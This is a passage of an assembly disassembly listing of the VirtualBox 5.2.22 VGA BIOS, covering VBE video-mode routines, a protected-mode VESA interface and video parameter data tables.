; 26 c7 47 14 03 00 mov word [es:bx+016h], 07c7bh ; 26 c7 47 16 7b 7c mov [es:bx+018h], ds ; 26 8c 5f 18 mov word [es:bx+01ah], 07c8eh ; 26 c7 47 1a 8e 7c mov [es:bx+01ch], ds ; 26 8c 5f 1c mov word [es:bx+01eh], 07cafh ; 26 c7 47 1e af 7c mov [es:bx+020h], ds ; 26 8c 5f 20 mov dx, cx ; 89 ca add dx, strict byte 0001bh ; 83 c2 1b mov ax, 003b6h ; b8 b6 03 call 036eah ; e8 5a fe xor ah, ah ; 30 e4 cmp ax, word [bp-010h] ; 3b 46 f0 jnbe short 038b0h ; 77 19 mov dx, cx ; 89 ca mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 39 fe mov bx, ax ; 89 c3 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, word [bp-00ch] ; 03 56 f4 mov ax, di ; 89 f8 call 031b2h ; e8 06 f9 add word [bp-00ch], strict byte 00002h ; 83 46 f4 02 add cx, strict byte 00044h ; 83 c1 44 mov dx, cx ; 89 ca mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 1d fe mov bx, ax ; 89 c3 cmp ax, strict word 0ffffh ; 3d ff ff jne short 03885h ; 75 c3 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, word [bp-00ch] ; 03 56 f4 mov ax, di ; 89 f8 call 031b2h ; e8 e5 f8 push SS ; 16 pop ES ; 07 mov word [es:si], strict word 0004fh ; 26 c7 04 4f 00 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 vbe_biosfn_return_mode_information_: ; 0xc38dc LB 0xbd push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 push ax ; 50 mov ax, dx ; 89 d0 mov si, bx ; 89 de mov word [bp-006h], cx ; 89 4e fa test dh, 040h ; f6 c6 40 je short 038f5h ; 74 05 mov dx, strict word 00001h ; ba 01 00 jmp short 038f7h ; eb 02 xor dx, dx ; 31 d2 and ah, 001h ; 80 e4 01 call 03758h ; e8 5b fe mov word [bp-008h], ax ; 89 46 f8 test ax, ax ; 85 c0 je short 0393ah ; 74 36 mov cx, 00100h ; b9 00 01 xor ax, ax ; 31 c0 mov di, word [bp-006h] ; 8b 7e fa mov es, si ; 8e c6 cld ; fc jcxz 03913h ; e3 02 rep stosb ; f3 aa xor cx, cx ; 31 c9 jmp short 0391ch ; eb 05 cmp cx, strict byte 00042h ; 83 f9 42 jnc short 0393ch ; 73 20 mov dx, word [bp-008h] ; 8b 56 f8 inc dx ; 42 inc dx ; 42 add dx, cx ; 01 ca mov ax, 003b6h ; b8 b6 03 call 036eah ; e8 c1 fd mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, word [bp-006h] ; 8b 56 fa add dx, cx ; 01 ca mov ax, si ; 89 f0 call 03196h ; e8 5f f8 inc cx ; 41 jmp short 03917h ; eb dd jmp short 03987h ; eb 4b mov dx, word [bp-006h] ; 8b 56 fa inc dx ; 42 inc dx ; 42 mov ax, si ; 89 f0 call 03188h ; e8 42 f8 test AL, strict byte 001h ; a8 01 je short 03966h ; 74 1c mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0000ch ; 83 c2 0c mov bx, 00629h ; bb 29 06 mov ax, si ; 89 f0 call 031b2h ; e8 5a f8 mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0000eh ; 83 c2 0e mov bx, 0c000h ; bb 00 c0 mov ax, si ; 89 f0 call 031b2h ; e8 4c f8 mov ax, strict word 0000bh ; b8 0b 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 01 cc mov dx, 001cfh ; ba cf 01 call 00577h ; e8 02 cc mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0002ah ; 83 c2 2a mov bx, ax ; 89 c3 mov ax, si ; 89 f0 call 031b2h ; e8 30 f8 mov ax, strict word 0004fh ; b8 4f 00 jmp short 0398ah ; eb 03 mov ax, 00100h ; b8 00 01 push SS ; 16 pop ES ; 07 mov bx, word [bp-00ah] ; 8b 5e f6 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 vbe_biosfn_set_mode_: ; 0xc3999 LB 0xeb push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov si, ax ; 89 c6 mov word [bp-00ah], dx ; 89 56 f6 test byte [bp-009h], 040h ; f6 46 f7 40 je short 039b1h ; 74 05 mov ax, strict word 00001h ; b8 01 00 jmp short 039b3h ; eb 02 xor ax, ax ; 31 c0 mov dx, ax ; 89 c2 test ax, ax ; 85 c0 je short 039bch ; 74 03 mov ax, strict word 00040h ; b8 40 00 mov byte [bp-006h], al ; 88 46 fa test byte [bp-009h], 080h ; f6 46 f7 80 je short 039cah ; 74 05 mov ax, 00080h ; b8 80 00 jmp short 039cch ; eb 02 xor ax, ax ; 31 c0 mov byte [bp-008h], al ; 88 46 f8 and byte [bp-009h], 001h ; 80 66 f7 01 cmp word [bp-00ah], 00100h ; 81 7e f6 00 01 jnc short 039edh ; 73 13 xor ax, ax ; 31 c0 call 005ddh ; e8 fe cb mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 call 0101ch ; e8 35 d6 mov ax, strict word 0004fh ; b8 4f 00 jmp near 03a7ah ; e9 8d 00 mov ax, word [bp-00ah] ; 8b 46 f6 call 03758h ; e8 65 fd mov bx, ax ; 89 c3 test ax, ax ; 85 c0 jne short 039fch ; 75 03 jmp near 03a77h ; e9 7b 00 lea dx, [bx+014h] ; 8d 57 14 mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 d3 fc mov cx, ax ; 89 c1 lea dx, [bx+016h] ; 8d 57 16 mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 c8 fc mov di, ax ; 89 c7 lea dx, [bx+01bh] ; 8d 57 1b mov ax, 003b6h ; b8 b6 03 call 036eah ; e8 cf fc mov bl, al ; 88 c3 mov dl, al ; 88 c2 xor ax, ax ; 31 c0 call 005ddh ; e8 b9 cb cmp bl, 004h ; 80 fb 04 jne short 03a2fh ; 75 06 mov ax, strict word 0006ah ; b8 6a 00 call 0101ch ; e8 ed d5 mov al, dl ; 88 d0 xor ah, ah ; 30 e4 call 0364fh ; e8 19 fc mov ax, cx ; 89 c8 call 035f8h ; e8 bd fb mov ax, di ; 89 f8 call 03617h ; e8 d7 fb xor ax, ax ; 31 c0 call 00603h ; e8 be cb mov al, byte [bp-008h] ; 8a 46 f8 or AL, strict byte 001h ; 0c 01 xor ah, ah ; 30 e4 mov dl, byte [bp-006h] ; 8a 56 fa or al, dl ; 08 d0 call 005ddh ; e8 89 cb call 006d2h ; e8 7b cc mov bx, word [bp-00ah] ; 8b 5e f6 mov dx, 000bah ; ba ba 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 4f f7 mov bl, byte [bp-008h] ; 8a 5e f8 or bl, 060h ; 80 cb 60 xor bh, bh ; 30 ff mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 22 f7 jmp near 039e7h ; e9 70 ff mov ax, 00100h ; b8 00 01 mov word [ss:si], ax ; 36 89 04 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 vbe_biosfn_read_video_state_size_: ; 0xc3a84 LB 0x8 push bp ; 55 mov bp, sp ; 89 e5 mov ax, strict word 00012h ; b8 12 00 pop bp ; 5d retn ; c3 vbe_biosfn_save_video_state_: ; 0xc3a8c LB 0x5b push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 mov di, ax ; 89 c7 mov cx, dx ; 89 d1 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed mov word [bp-00ah], ax ; 89 46 f6 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, di ; 89 f8 call 031b2h ; e8 03 f7 inc cx ; 41 inc cx ; 41 test byte [bp-00ah], 001h ; f6 46 f6 01 je short 03adeh ; 74 27 mov si, strict word 00001h ; be 01 00 jmp short 03ac1h ; eb 05 cmp si, strict byte 00009h ; 83 fe 09 jnbe short 03adeh ; 77 1d cmp si, strict byte 00004h ; 83 fe 04 je short 03adbh ; 74 15 mov ax, si ; 89 f0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, di ; 89 f8 call 031b2h ; e8 d9 f6 inc cx ; 41 inc cx ; 41 inc si ; 46 jmp short 03abch ; eb de lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_restore_video_state_: ; 0xc3ae7 LB 0x9b push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push ax ; 50 mov cx, ax ; 89 c1 mov bx, dx ; 89 d3 call 031a4h ; e8 af f6 mov word [bp-008h], ax ; 89 46 f8 inc bx ; 43 inc bx ; 43 test byte [bp-008h], 001h ; f6 46 f8 01 jne short 03b10h ; 75 10 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, word [bp-008h] ; 8b 46 f8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef jmp short 03b7ah ; eb 6a mov ax, strict word 00001h ; b8 01 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 031a4h ; e8 86 f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00002h ; b8 02 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 031a4h ; e8 72 f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00003h ; b8 03 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 031a4h ; e8 5e f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, word [bp-008h] ; 8b 46 f8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef mov si, strict word 00005h ; be 05 00 jmp short 03b64h ; eb 05 cmp si, strict byte 00009h ; 83 fe 09 jnbe short 03b7ah ; 77 16 mov ax, si ; 89 f0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 031a4h ; e8 33 f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 inc si ; 46 jmp short 03b5fh ; eb e5 lea sp, [bp-006h] ; 8d 66 fa pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_save_restore_state_: ; 0xc3b82 LB 0x8c push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 mov si, ax ; 89 c6 mov word [bp-006h], dx ; 89 56 fa mov ax, bx ; 89 d8 mov bx, word [bp+004h] ; 8b 5e 04 mov di, strict word 0004fh ; bf 4f 00 xor ah, ah ; 30 e4 cmp ax, strict word 00002h ; 3d 02 00 je short 03be1h ; 74 45 cmp ax, strict word 00001h ; 3d 01 00 je short 03bc5h ; 74 24 test ax, ax ; 85 c0 jne short 03bfdh ; 75 58 mov ax, word [bp-006h] ; 8b 46 fa call 02a74h ; e8 c9 ee mov cx, ax ; 89 c1 test byte [bp-006h], 008h ; f6 46 fa 08 je short 03bb8h ; 74 05 call 03a84h ; e8 ce fe add ax, cx ; 01 c8 add ax, strict word 0003fh ; 05 3f 00 shr ax, 006h ; c1 e8 06 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 jmp short 03c00h ; eb 3b push SS ; 16 pop ES ; 07 mov bx, word [es:bx] ; 26 8b 1f mov dx, cx ; 89 ca mov ax, word [bp-006h] ; 8b 46 fa call 02aa9h ; e8 d7 ee test byte [bp-006h], 008h ; f6 46 fa 08 je short 03c00h ; 74 28 mov dx, ax ; 89 c2 mov ax, cx ; 89 c8 call 03a8ch ; e8 ad fe jmp short 03c00h ; eb 1f push SS ; 16 pop ES ; 07 mov bx, word [es:bx] ; 26 8b 1f mov dx, cx ; 89 ca mov ax, word [bp-006h] ; 8b 46 fa call 02e2ah ; e8 3c f2 test byte [bp-006h], 008h ; f6 46 fa 08 je short 03c00h ; 74 0c mov dx, ax ; 89 c2 mov ax, cx ; 89 c8 call 03ae7h ; e8 ec fe jmp short 03c00h ; eb 03 mov di, 00100h ; bf 00 01 push SS ; 16 pop ES ; 07 mov word [es:si], di ; 26 89 3c lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 vbe_biosfn_get_set_scanline_length_: ; 0xc3c0e LB 0xdf push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00008h ; 83 ec 08 push ax ; 50 mov di, dx ; 89 d7 mov word [bp-008h], bx ; 89 5e f8 mov si, cx ; 89 ce call 0366eh ; e8 4d fa cmp AL, strict byte 00fh ; 3c 0f jne short 03c2ah ; 75 05 mov bx, strict word 00010h ; bb 10 00 jmp short 03c2eh ; eb 04 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov byte [bp-006h], bl ; 88 5e fa call 036a6h ; e8 72 fa mov word [bp-00ah], ax ; 89 46 f6 mov word [bp-00ch], strict word 0004fh ; c7 46 f4 4f 00 push SS ; 16 pop ES ; 07 mov bx, word [bp-008h] ; 8b 5e f8 mov bx, word [es:bx] ; 26 8b 1f mov cl, byte [es:di] ; 26 8a 0d cmp cl, 002h ; 80 f9 02 je short 03c58h ; 74 0c cmp cl, 001h ; 80 f9 01 je short 03c7eh ; 74 2d test cl, cl ; 84 c9 je short 03c79h ; 74 24 jmp near 03cd6h ; e9 7e 00 mov al, byte [bp-006h] ; 8a 46 fa cmp AL, strict byte 004h ; 3c 04 jne short 03c64h ; 75 05 sal bx, 003h ; c1 e3 03 jmp short 03c79h ; eb 15 xor ah, ah ; 30 e4 cwd ; 99 sal dx, 003h ; c1 e2 03 db 01bh, 0c2h ; sbb ax, dx ; 1b c2 sar ax, 003h ; c1 f8 03 mov cx, ax ; 89 c1 mov ax, bx ; 89 d8 xor dx, dx ; 31 d2 div cx ; f7 f1 mov bx, ax ; 89 c3 mov ax, bx ; 89 d8 call 03687h ; e8 09 fa call 036a6h ; e8 25 fa mov cx, ax ; 89 c1 push SS ; 16 pop ES ; 07 mov bx, word [bp-008h] ; 8b 5e f8 mov word [es:bx], ax ; 26 89 07 mov al, byte [bp-006h] ; 8a 46 fa cmp AL, strict byte 004h ; 3c 04 jne short 03c99h ; 75 07 mov bx, cx ; 89 cb shr bx, 003h ; c1 eb 03 jmp short 03cach ; eb 13 xor ah, ah ; 30 e4 cwd ; 99 sal dx, 003h ; c1 e2 03 db 01bh, 0c2h ; sbb ax, dx ; 1b c2 sar ax, 003h ; c1 f8 03 mov bx, ax ; 89 c3 mov ax, cx ; 89 c8 mul bx ; f7 e3 mov bx, ax ; 89 c3 add bx, strict byte 00003h ; 83 c3 03 and bl, 0fch ; 80 e3 fc push SS ; 16 pop ES ; 07 mov word [es:di], bx ; 26 89 1d call 036bfh ; e8 05 fa push SS ; 16 pop ES ; 07 mov word [es:si], ax ; 26 89 04 call 03636h ; e8 74 f9 push SS ; 16 pop ES ; 07 cmp ax, word [es:si] ; 26 3b 04 jbe short 03cdbh ; 76 12 mov ax, word [bp-00ah] ; 8b 46 f6 call 03687h ; e8 b8 f9 mov word [bp-00ch], 00200h ; c7 46 f4 00 02 jmp short 03cdbh ; eb 05 mov word [bp-00ch], 00100h ; c7 46 f4 00 01 push SS ; 16 pop ES ; 07 mov ax, word [bp-00ch] ; 8b 46 f4 mov bx, word [bp-00eh] ; 8b 5e f2 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 ; Padding 0x713 bytes at 0xc3ced times 1811 db 0 section VBE32 progbits vstart=0x4400 align=1 ; size=0x115 class=CODE group=AUTO vesa_pm_start: ; 0xc4400 LB 0x114 sbb byte [bx+si], al ; 18 00 dec di ; 4f add byte [bx+si], dl ; 00 10 add word [bx+si], cx ; 01 08 add dh, cl ; 00 ce add di, cx ; 01 cf add di, cx ; 01 cf add ax, dx ; 01 d0 add word [bp-048fdh], si ; 01 b6 03 b7 db 003h, 0ffh ; add di, di ; 03 ff db 0ffh db 0ffh jmp word [bp-07dh] ; ff 66 83 sti ; fb add byte [si+005h], dh ; 00 74 05 mov eax, strict dword 066c30100h ; 66 b8 00 01 c3 66 db 08bh, 0c2h ; mov ax, dx ; 8b c2 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 add ax, 06600h ; 05 00 66 out DX, ax ; ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef in eax, DX ; 66 ed pop edx ; 66 5a db 066h, 03bh, 0d0h ; cmp edx, eax ; 66 3b d0 jne short 0444ah ; 75 05 mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66 mov ax, 0014fh ; b8 4f 01 retn ; c3 cmp bl, 080h ; 80 fb 80 je short 0445eh ; 74 0a cmp bl, 000h ; 80 fb 00 je short 0446eh ; 74 15 mov eax, strict dword 052c30100h ; 66 b8 00 01 c3 52 mov edx, strict dword 0a8ec03dah ; 66 ba da 03 ec a8 or byte [di-005h], dh ; 08 75 fb in AL, DX ; ec test AL, strict byte 008h ; a8 08 je short 04468h ; 74 fb pop dx ; 5a push ax ; 50 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 sal dx, 010h ; c1 e2 10 and cx, strict word 0ffffh ; 81 e1 ff ff add byte [bx+si], al ; 00 00 db 00bh, 0cah ; or cx, dx ; 0b ca sal cx, 002h ; c1 e1 02 db 08bh, 0c1h ; mov ax, cx ; 8b c1 push ax ; 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 push ES ; 06 add byte [bp-011h], ah ; 00 66 ef mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed db 00fh, 0b7h, 0c8h ; movzx cx, ax ; 0f b7 c8 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 add ax, word [bx+si] ; 03 00 out DX, eax ; 66 ef mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed db 00fh, 0b7h, 0f0h ; movzx si, ax ; 0f b7 f0 pop ax ; 58 cmp si, strict byte 00004h ; 83 fe 04 je short 044c7h ; 74 17 add si, strict byte 00007h ; 83 c6 07 shr si, 003h ; c1 ee 03 imul cx, si ; 0f af ce db 033h, 0d2h ; xor dx, dx ; 33 d2 div cx ; f7 f1 db 08bh, 0f8h ; mov di, ax ; 8b f8 db 08bh, 0c2h ; mov ax, dx ; 8b c2 db 033h, 0d2h ; xor dx, dx ; 33 d2 div si ; f7 f6 jmp short 044d3h ; eb 0c shr cx, 1 ; d1 e9 db 033h, 0d2h ; xor dx, dx ; 33 d2 div cx ; f7 f1 db 08bh, 0f8h ; mov di, ax ; 8b f8 db 08bh, 0c2h ; mov ax, dx ; 8b c2 sal ax, 1 ; d1 e0 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 or byte [bx+si], al ; 08 00 out DX, eax ; 66 ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef pop edx ; 66 5a db 066h, 08bh, 0c7h ; mov eax, edi ; 66 8b c7 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 or word [bx+si], ax ; 09 00 out DX, eax ; 66 ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef pop edx ; 66 5a pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop ax ; 58 mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66 mov ax, 0014fh ; b8 4f 01 vesa_pm_end: ; 0xc4514 LB 0x1 retn ; c3 ; Padding 0xeb bytes at 0xc4515 times 235 db 0 section _DATA progbits vstart=0x4600 align=1 ; size=0x3727 class=DATA group=DGROUP _msg_vga_init: ; 0xc4600 LB 0x2f db 'Oracle VM VirtualBox Version 5.2.22 VGA BIOS', 00dh, 00ah, 000h _vga_modes: ; 0xc462f LB 0x80 db 000h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 001h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h db 002h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 003h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h db 004h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h, 005h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h db 006h, 001h, 002h, 001h, 000h, 0b8h, 0ffh, 001h, 007h, 000h, 001h, 004h, 000h, 0b0h, 0ffh, 000h db 00dh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h, 00eh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h db 00fh, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 000h, 010h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h db 011h, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 002h, 012h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h db 013h, 001h, 005h, 008h, 000h, 0a0h, 0ffh, 003h, 06ah, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h _line_to_vpti: ; 0xc46af LB 0x10 db 017h, 017h, 018h, 018h, 004h, 005h, 006h, 007h, 00dh, 00eh, 011h, 012h, 01ah, 01bh, 01ch, 01dh _dac_regs: ; 0xc46bf LB 0x4 dd 0ff3f3f3fh _video_param_table: ; 0xc46c3 LB 0x780 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh db 050h, 018h, 008h, 000h, 010h, 001h, 001h, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h db 0b9h, 0c2h, 0ffh, 000h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h db 017h, 017h, 017h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00dh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 028h, 018h, 008h, 000h, 020h, 009h, 00fh, 000h, 006h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 